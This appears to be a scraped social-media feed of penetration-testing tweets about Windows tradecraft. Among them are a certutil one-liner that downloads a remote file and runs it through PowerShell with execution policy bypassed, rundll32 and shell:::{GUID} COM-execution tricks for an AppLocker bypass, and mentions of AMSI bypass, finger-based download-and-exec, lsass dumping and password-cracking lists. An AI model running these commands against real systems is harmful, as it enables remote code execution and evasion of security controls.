fisherxp

[Dirk-jan @_dirkjan]

New blog up from @agsolino about some of the cool stuff we added to ntlmrelayx in the past two years: https://t.co/PnpYQ8Ajrn. Socks proxy all the protocols!

[bohops @bohops]

Interesting way to call a COM CLSID:

rundll32.exe -sta {CLSID}
rundll32.exe /sta {CLSID}

Use this with @subTee's #squiblydoo COM Hijack method for a default AppLocker Bypass

Haven't found any sec-related resources with -sta (single threaded apartment)

Anyone seen this before?

[Moriarty @Moriarty_Meng]

OMG, look what I got :-) Simply add a registry entry value (UAC free) on windows 10 1803, then we can make our vbscript or jscript files bypass AMSI PERMANENTLY! Isn't it so easy? or is it an Easter egg Microsoft left to us? :-( @tiraniddo @bohops @subTee @Oddvarmoe @domchell

[Vincent Yiu @vysecurity]

I've got to say but one of my favourite commands to date is: powershell Get-WmiObject -Class MicrosoftDNS_AType -NameSpace Root\MicrosoftDNS -ComputerName DCNAME

[Odisseus @_odisseus]

Obtaining a shell with an unrestricted access token in Windows (ab)using SeLoadDriverPrivilege privilege activation.
Very nice posty by @TuLkHaXs. cc: @binitamshah https://t.co/2R6mqvOei4

[Rene Freingruber @ReneFreingruber]

Just released a new blogpost: Pentester's Windows NTFS tricks collection (including CVE-2018-1036 - Windows NTFS Elevation of Privilege) https://t.co/JPO3Cy83PM @Sec_Consult #EoP #PatchTuesday

[Florian Hansemann @CyberWarship]

Abusing DCOM For Yet Another Lateral Movement Technique

- great work by @bohops

#ifosec #pentest #redteam https://t.co/6CXtSEvru9

[Oddvar Moe @Oddvarmoe]

Many ways to execute COM:
cmd /c start shell:::{GUID}
explorer shell:::{GUID}
rundll32 url.dll, OpenURL shell:::{GUID}

Do you know some other technique?
1/2 https://t.co/883PdYXfhJ

[SkelSec @SkelSec]

Started porting #mimikatz to python. PoC code is working with limited functionality.

https://t.co/qZRCcJBviJ

Wanna help? Send test data. But only lsass dumps that you don't mind sharing!

[Malwrologist @DissectMalware]

Abusing #finger protocol (#rfc1288) to download arbitrary data. In my case, I used it to dl and exec #powershell.
finger client is available by default on Windows machines.
@bohops @Hexacorn @ItsReallyNick @Dinosn @cyb3rops @bartblaze @Oddvarmoe @James_inthe_box @enigma0x3

[Adam Chester 🏴‍☠️ @_xpn_]

New blog post added showing how to exploit CVE-2018-1038 aka #TotalMeltdown for privilege escalation https://t.co/4k2fm1hkOA

[Moriarty @Moriarty_Meng]

how about this:
mkdir temp
certutil.exe -urlcache -split -f https://t.co/Tqirz1KGGv temp:ttt
powershell -ep bypass - < c:\temp:ttt
@vysecurity https://t.co/LJG5razB6E

[Hack with GitHub @HackwithGithub]

DeathStar -
Automate getting Domain Admin using #Empire
Author: @byt3bl33d3r
#powershell #pentest
https://t.co/IeoWVfXxM4

[fisherxp @fisherxp]

https://t.co/TeIdesA50i

[fisherxp @fisherxp]

Yahoo Mail stored XSS #2 https://t.co/jQblavAgYX

[fisherxp @fisherxp]

RT @justinbieber 58 million strong large password list to crack password via dictionary attack #17MillionStrong http://t.co/dYDf5C3S

[fisherxp @fisherxp]

RT @hduanzi: RT @syosyoo 新世纪男性：睡得了地板，住得了走廊，跪得起主板，补得了衣裳，吃得下剩饭，付得起药方，带得了孩子，养得起姑娘，耐得住寂寞，争做灰太狼... #duanzi